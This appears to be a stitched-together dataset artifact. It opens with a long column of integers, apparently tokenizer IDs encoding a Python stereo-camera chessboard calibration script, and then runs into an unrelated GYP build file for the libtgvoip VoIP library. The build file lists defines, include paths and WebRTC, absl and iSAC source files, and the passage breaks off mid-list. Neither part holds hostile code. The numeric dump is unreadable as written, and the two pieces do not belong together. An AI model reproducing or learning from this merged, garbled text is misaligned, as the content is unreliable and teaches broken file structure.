29934,
353,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29896,
29889,
29906,
29900,
29908,
13,
13,
13,
29992,
3808,
29889,
6519,
29898,
4703,
29918,
11027,
29922,
8977,
29898,
3317,
29918,
3051,
29918,
2103,
29922,
29896,
29906,
29900,
876,
13,
29992,
3808,
29889,
3259,
29918,
3385,
580,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
11663,
29880,
613,
13,
1678,
376,
489,
1563,
29899,
1032,
29872,
613,
13,
1678,
1371,
543,
8091,
10977,
29892,
508,
367,
1887,
12951,
3949,
313,
29900,
29989,
29896,
29989,
29906,
636,
29897,
470,
5641,
3949,
364,
29873,
1028,
3988,
470,
934,
613,
13,
1678,
2322,
29922,
29888,
29908,
1124,
597,
29912,
29940,
29963,
29934,
6822,
8990,
29899,
20006,
29914,
29885,
6173,
29914,
9641,
29889,
20006,
29973,
29987,
26065,
29922,
29896,
613,
13,
1678,
1510,
29918,
4381,
29922,
5574,
29892,
13,
29897,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
11663,
29878,
613,
13,
1678,
376,
489,
1266,
29899,
1032,
29872,
613,
13,
1678,
1371,
543,
7341,
10977,
29892,
508,
367,
1887,
12951,
3949,
313,
29900,
29989,
29896,
29989,
29906,
636,
29897,
470,
5641,
3949,
364,
29873,
1028,
3988,
470,
934,
613,
13,
1678,
2322,
29922,
29888,
29908,
1124,
597,
29912,
29940,
29963,
29934,
6822,
8990,
29899,
20006,
29914,
29885,
6173,
29914,
9641,
29889,
20006,
29973,
29987,
26065,
29922,
29906,
613,
13,
1678,
1510,
29918,
4381,
29922,
5574,
29892,
13,
29897,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
11663,
29877,
613,
13,
1678,
376,
489,
4905,
29899,
12083,
613,
13,
1678,
1371,
543,
1451,
404,
3377,
4558,
3787,
4138,
613,
13,
1678,
2322,
543,
20038,
4442,
2606,
29914,
303,
406,
29877,
29914,
305,
404,
24691,
29914,
613,
13,
1678,
1510,
29918,
4381,
29922,
5574,
29892,
13,
29897,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
376,
489,
305,
404,
3377,
29899,
5727,
613,
13,
1678,
1371,
543,
1451,
404,
3377,
4206,
613,
13,
1678,
2322,
29922,
29929,
29892,
13,
1678,
1510,
29918,
4381,
29922,
5574,
29892,
13,
29897,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
376,
489,
305,
404,
3377,
29899,
13099,
613,
13,
1678,
1371,
543,
1451,
404,
3377,
4341,
613,
13,
1678,
2322,
29922,
29953,
29892,
13,
1678,
1510,
29918,
4381,
29922,
5574,
29892,
13,
29897,
13,
1753,
9335,
29898,
1563,
29918,
1032,
29872,
29892,
1492,
29918,
1032,
29872,
29892,
1962,
29918,
12083,
29892,
521,
404,
3377,
29918,
5727,
29892,
521,
404,
3377,
29918,
13099,
1125,
13,
1678,
9995,
13,
1678,
10987,
521,
404,
3377,
1208,
26218,
4558,
297,
1716,
16608,
310,
278,
269,
12358,
29877,
5101,
13,
1678,
9995,
13,
13,
1678,
714,
29918,
2084,
353,
10802,
29898,
4905,
29918,
12083,
467,
18837,
1792,
580,
13,
1678,
714,
29918,
2084,
29889,
11256,
3972,
29898,
862,
1237,
29922,
5574,
29892,
1863,
29918,
554,
29922,
5574,
29897,
13,
13,
1678,
521,
404,
3377,
29918,
2311,
353,
313,
305,
404,
3377,
29918,
13099,
29892,
521,
404,
3377,
29918,
5727,
29897,
13,
1678,
1284,
261,
353,
678,
404,
3377,
29943,
4995,
29898,
305,
404,
3377,
29918,
2311,
29897,
13,
13,
1678,
4840,
353,
317,
12358,
29877,
20717,
29898,
13,
4706,
2175,
29918,
4351,
29922,
1563,
29918,
1032,
29872,
29892,
13,
4706,
1492,
29918,
4351,
29922,
1266,
29918,
1032,
29872,
29892,
13,
1678,
1723,
13,
13,
1678,
4847,
353,
13987,
9075,
580,
13,
13,
1678,
411,
4847,
29892,
4840,
29901,
13,
4706,
2441,
29918,
13236,
353,
679,
29918,
303,
406,
29877,
29918,
13236,
29898,
5461,
29892,
934,
29918,
978,
543,
13492,
29918,
303,
406,
29877,
29889,
17345,
1159,
13,
4706,
9732,
630,
29918,
13236,
353,
679,
29918,
303,
406,
29877,
29918,
13236,
29898,
5461,
29892,
934,
29918,
978,
543,
6735,
630,
29918,
303,
406,
29877,
29889,
17345,
1159,
13,
4706,
3515,
29918,
2798,
353,
29871,
29900,
13,
4706,
1781,
29918,
2798,
353,
29871,
29900,
13,
4706,
1550,
748,
7295,
13,
9651,
3431,
29892,
16608,
353,
4840,
29889,
949,
580,
13,
9651,
3515,
29918,
2798,
4619,
29871,
29896,
13,
9651,
565,
3431,
29901,
13,
18884,
1781,
353,
5159,
13,
18884,
9732,
630,
353,
5159,
13,
18884,
396,
577,
591,
505,
263,
1781,
269,
12358,
29877,
3515,
29892,
1286,
16096,
1269,
3515,
322,
565,
13,
18884,
396,
263,
521,
404,
3377,
338,
1476,
297,
1269,
29892,
4078,
278,
5101,
304,
8086,
29889,
13,
18884,
363,
3515,
297,
16608,
29889,
19935,
7295,
13,
462,
1678,
11073,
353,
518,
29888,
29908,
29903,
12358,
29877,
3037,
4626,
403,
426,
2557,
29918,
2798,
29913,
3108,
13,
462,
1678,
2479,
29918,
2557,
353,
3515,
29889,
8552,
580,
13,
462,
1678,
3171,
29892,
2920,
29892,
18196,
353,
2479,
29918,
2557,
29889,
12181,
13,
462,
1678,
756,
29918,
29883,
1398,
414,
29892,
26995,
353,
1284,
261,
29889,
29883,
1398,
414,
29898,
2557,
29897,
13,
462,
1678,
565,
756,
29918,
29883,
1398,
414,
29901,
13,
462,
4706,
1781,
29889,
4397,
29898,
5574,
29897,
13,
462,
4706,
1284,
261,
29889,
4012,
29898,
4990,
29918,
2557,
29892,
26995,
29897,
13,
462,
4706,
11073,
29889,
4397,
703,
3210,
2890,
1744,
29949,
17011,
1159,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
1781,
29889,
4397,
29898,
8824,
29897,
13,
462,
4706,
11073,
29889,
4397,
703,
6632,
5868,
2890,
1744,
29949,
17011,
15842,
612,
27269,
1159,
13,
462,
1678,
788,
29918,
2557,
29918,
21134,
29898,
4990,
29918,
2557,
29892,
11073,
29922,
21134,
29897,
13,
462,
1678,
9732,
630,
29889,
4397,
29898,
4990,
29918,
2557,
29897,
13,
18884,
565,
599,
29898,
16773,
1125,
13,
462,
1678,
396,
1716,
16608,
505,
26834,
521,
404,
24691,
4078,
16608,
363,
7418,
13,
462,
1678,
363,
2625,
29892,
3515,
297,
16608,
29889,
1052,
26218,
29918,
17514,
29918,
19935,
7295,
13,
462,
4706,
13850,
29889,
326,
3539,
29898,
29888,
29908,
29912,
449,
29918,
2084,
6822,
29912,
2975,
3227,
16773,
29918,
2798,
29901,
29900,
29945,
1836,
6173,
613,
3515,
29897,
13,
462,
1678,
1781,
29918,
2798,
4619,
29871,
29896,
13,
13,
18884,
4847,
29889,
4294,
29898,
9302,
29889,
29882,
1429,
29898,
6735,
630,
876,
13,
13,
18884,
9732,
630,
29918,
13236,
29889,
303,
406,
29877,
29918,
3539,
29898,
6735,
630,
29897,
13,
18884,
2441,
29918,
13236,
29889,
303,
406,
29877,
29918,
3539,
29898,
19935,
29889,
19935,
3101,
13,
2
] |
libtgvoip.gyp | seven1240/libtgvoip | 3 | 142797 | <filename>libtgvoip.gyp
# GYP project file for TDesktop
{
'targets': [
{
'target_name': 'libtgvoip',
'type': 'static_library',
'dependencies': [],
'defines': [
'WEBRTC_APM_DEBUG_DUMP=0',
'TGVOIP_USE_DESKTOP_DSP',
'WEBRTC_NS_FLOAT',
],
'variables': {
'tgvoip_src_loc': '.',
'official_build_target%': '',
'linux_path_opus_include%': '<(DEPTH)/../../../Libraries/opus/include',
},
'include_dirs': [
'<(tgvoip_src_loc)/webrtc_dsp',
'<(linux_path_opus_include)',
],
'direct_dependent_settings': {
'include_dirs': [
'<(tgvoip_src_loc)',
],
},
'export_dependent_settings': [],
'sources': [
'<(tgvoip_src_loc)/BlockingQueue.cpp',
'<(tgvoip_src_loc)/BlockingQueue.h',
'<(tgvoip_src_loc)/Buffers.cpp',
'<(tgvoip_src_loc)/Buffers.h',
'<(tgvoip_src_loc)/CongestionControl.cpp',
'<(tgvoip_src_loc)/CongestionControl.h',
'<(tgvoip_src_loc)/EchoCanceller.cpp',
'<(tgvoip_src_loc)/EchoCanceller.h',
'<(tgvoip_src_loc)/JitterBuffer.cpp',
'<(tgvoip_src_loc)/JitterBuffer.h',
'<(tgvoip_src_loc)/logging.cpp',
'<(tgvoip_src_loc)/logging.h',
'<(tgvoip_src_loc)/MediaStreamItf.cpp',
'<(tgvoip_src_loc)/MediaStreamItf.h',
'<(tgvoip_src_loc)/OpusDecoder.cpp',
'<(tgvoip_src_loc)/OpusDecoder.h',
'<(tgvoip_src_loc)/OpusEncoder.cpp',
'<(tgvoip_src_loc)/OpusEncoder.h',
'<(tgvoip_src_loc)/threading.h',
'<(tgvoip_src_loc)/VoIPController.cpp',
'<(tgvoip_src_loc)/VoIPGroupController.cpp',
'<(tgvoip_src_loc)/VoIPController.h',
'<(tgvoip_src_loc)/PrivateDefines.h',
'<(tgvoip_src_loc)/VoIPServerConfig.cpp',
'<(tgvoip_src_loc)/VoIPServerConfig.h',
'<(tgvoip_src_loc)/audio/AudioInput.cpp',
'<(tgvoip_src_loc)/audio/AudioInput.h',
'<(tgvoip_src_loc)/audio/AudioOutput.cpp',
'<(tgvoip_src_loc)/audio/AudioOutput.h',
'<(tgvoip_src_loc)/audio/Resampler.cpp',
'<(tgvoip_src_loc)/audio/Resampler.h',
'<(tgvoip_src_loc)/NetworkSocket.cpp',
'<(tgvoip_src_loc)/NetworkSocket.h',
'<(tgvoip_src_loc)/PacketReassembler.cpp',
'<(tgvoip_src_loc)/PacketReassembler.h',
'<(tgvoip_src_loc)/MessageThread.cpp',
'<(tgvoip_src_loc)/MessageThread.h',
'<(tgvoip_src_loc)/audio/AudioIO.cpp',
'<(tgvoip_src_loc)/audio/AudioIO.h',
'<(tgvoip_src_loc)/video/ScreamCongestionController.cpp',
'<(tgvoip_src_loc)/video/ScreamCongestionController.h',
'<(tgvoip_src_loc)/video/VideoSource.cpp',
'<(tgvoip_src_loc)/video/VideoSource.h',
'<(tgvoip_src_loc)/video/VideoRenderer.cpp',
'<(tgvoip_src_loc)/video/VideoRenderer.h',
'<(tgvoip_src_loc)/video/VideoPacketSender.cpp',
'<(tgvoip_src_loc)/video/VideoPacketSender.h',
'<(tgvoip_src_loc)/video/VideoFEC.cpp',
'<(tgvoip_src_loc)/video/VideoFEC.h',
'<(tgvoip_src_loc)/json11.cpp',
'<(tgvoip_src_loc)/json11.hpp',
# Windows
'<(tgvoip_src_loc)/os/windows/NetworkSocketWinsock.cpp',
'<(tgvoip_src_loc)/os/windows/NetworkSocketWinsock.h',
'<(tgvoip_src_loc)/os/windows/AudioInputWave.cpp',
'<(tgvoip_src_loc)/os/windows/AudioInputWave.h',
'<(tgvoip_src_loc)/os/windows/AudioOutputWave.cpp',
'<(tgvoip_src_loc)/os/windows/AudioOutputWave.h',
'<(tgvoip_src_loc)/os/windows/AudioOutputWASAPI.cpp',
'<(tgvoip_src_loc)/os/windows/AudioOutputWASAPI.h',
'<(tgvoip_src_loc)/os/windows/AudioInputWASAPI.cpp',
'<(tgvoip_src_loc)/os/windows/AudioInputWASAPI.h',
'<(tgvoip_src_loc)/os/windows/WindowsSpecific.cpp',
'<(tgvoip_src_loc)/os/windows/WindowsSpecific.h',
# macOS
'<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnit.cpp',
'<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnit.h',
'<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnit.cpp',
'<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnit.h',
'<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnitOSX.cpp',
'<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnitOSX.h',
'<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnitOSX.cpp',
'<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnitOSX.h',
'<(tgvoip_src_loc)/os/darwin/AudioUnitIO.cpp',
'<(tgvoip_src_loc)/os/darwin/AudioUnitIO.h',
'<(tgvoip_src_loc)/os/darwin/DarwinSpecific.mm',
'<(tgvoip_src_loc)/os/darwin/DarwinSpecific.h',
# Linux
'<(tgvoip_src_loc)/os/linux/AudioInputALSA.cpp',
'<(tgvoip_src_loc)/os/linux/AudioInputALSA.h',
'<(tgvoip_src_loc)/os/linux/AudioOutputALSA.cpp',
'<(tgvoip_src_loc)/os/linux/AudioOutputALSA.h',
'<(tgvoip_src_loc)/os/linux/AudioOutputPulse.cpp',
'<(tgvoip_src_loc)/os/linux/AudioOutputPulse.h',
'<(tgvoip_src_loc)/os/linux/AudioInputPulse.cpp',
'<(tgvoip_src_loc)/os/linux/AudioInputPulse.h',
'<(tgvoip_src_loc)/os/linux/AudioPulse.cpp',
'<(tgvoip_src_loc)/os/linux/AudioPulse.h',
# POSIX
'<(tgvoip_src_loc)/os/posix/NetworkSocketPosix.cpp',
'<(tgvoip_src_loc)/os/posix/NetworkSocketPosix.h',
# WebRTC APM
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/field_trial.h',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/cpu_features_wrapper.h',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/asm_defines.h',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/metrics.h',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/compile_assert_c.h',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/field_trial.cc',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/metrics.cc',
'<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/cpu_features.cc',
'<(tgvoip_src_loc)/webrtc_dsp/typedefs.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/strings/internal/memutil.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/strings/internal/memutil.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/strings/string_view.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/strings/ascii.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/strings/ascii.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/strings/string_view.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/types/optional.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/types/bad_optional_access.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/types/bad_optional_access.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/types/optional.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/memory/memory.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/meta/type_traits.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/algorithm/algorithm.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/container/inlined_vector.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/policy_checks.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/port.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/config.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/raw_logging.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/throw_delegate.cc',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/invoke.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/inline_variable.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/atomic_hook.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/identity.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/raw_logging.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/throw_delegate.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/attributes.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/macros.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/optimization.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/base/log_severity.h',
'<(tgvoip_src_loc)/webrtc_dsp/absl/utility/utility.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/string_to_number.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/constructormagic.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/race_checker.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/strings/string_builder.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/strings/string_builder.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event_tracer.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringencode.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/memory/aligned_malloc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/memory/aligned_malloc.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/timeutils.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/ignore_wundef.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringutils.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/arraysize.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_file.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/swap_queue.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/string_to_number.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/trace_event.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/checks.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/deprecation.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/sanitizer.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/scoped_ref_ptr.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/timeutils.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/atomicops.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringencode.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringutils.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/checks.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_minmax.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_conversions.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_conversions_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_compare.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/unused.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/inline.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/ignore_warnings.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/asm_defines.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/rtc_export.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/arch.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread_types.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/protobuf_utils.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_annotations.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/gtest_prod_util.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/function_view.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/criticalsection.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/criticalsection.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread_types.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/refcount.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker_impl.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event_tracer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/compile_assert_c.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_webrtc.cc',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/type_traits.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_file.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/refcounter.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/race_checker.h',
'<(tgvoip_src_loc)/webrtc_dsp/rtc_base/refcountedobject.h',
'<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/rnn_vad_weights.cc',
'<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/rnn_activations.h',
'<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/kiss_fft.h',
'<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/kiss_fft.cc',
'<(tgvoip_src_loc)/webrtc_dsp/third_party/rnnoise/src/rnn_vad_weights.h',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/audio_frame.cc',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_config.h',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_control.h',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/audio_frame.h',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_config.cc',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_factory.h',
'<(tgvoip_src_loc)/webrtc_dsp/api/audio/echo_canceller3_factory.cc',
'<(tgvoip_src_loc)/webrtc_dsp/api/array_view.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/third_party/fft/fft.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/third_party/fft/fft.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/bandwidth_info.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/include/isac.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_estimator.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb16_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_gain_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines_logist.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/os_specific_inline.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/filterbanks.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/entropy_coding.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac_vad.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/settings.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/transform.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb12_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/crc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_filter.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/encode_lpc_swb.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/filter_functions.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/decode.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lattice.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/intialize.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_gain_swb_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/bandwidth_estimator.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac_float_type.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_lag_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/encode.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_analysis.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/spectrum_ar_model_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines_hist.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/codec.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_gain_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb16_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/entropy_coding.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac_vad.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/structs.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/filter_functions.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/encode_lpc_swb.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_filter.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/arith_routines.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/crc.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb12_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_analysis.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/decode_bwe.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/spectrum_ar_model_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/bandwidth_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/pitch_lag_tables.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/isac.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_gain_swb_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_coding/codecs/isac/main/source/lpc_tables.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/rms_level.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/moving_max.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/circular_buffer.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/normalized_covariance_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/normalized_covariance_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/moving_max.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/circular_buffer.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/mean_variance_estimator.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/echo_detector/mean_variance_estimator.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_control_for_experimental_agc.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/splitting_filter.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/gain_control_impl.cc',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/rms_level.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/ns_core.h',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_core.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/noise_suppression_x.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_core_c.c',
'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/defines.h',
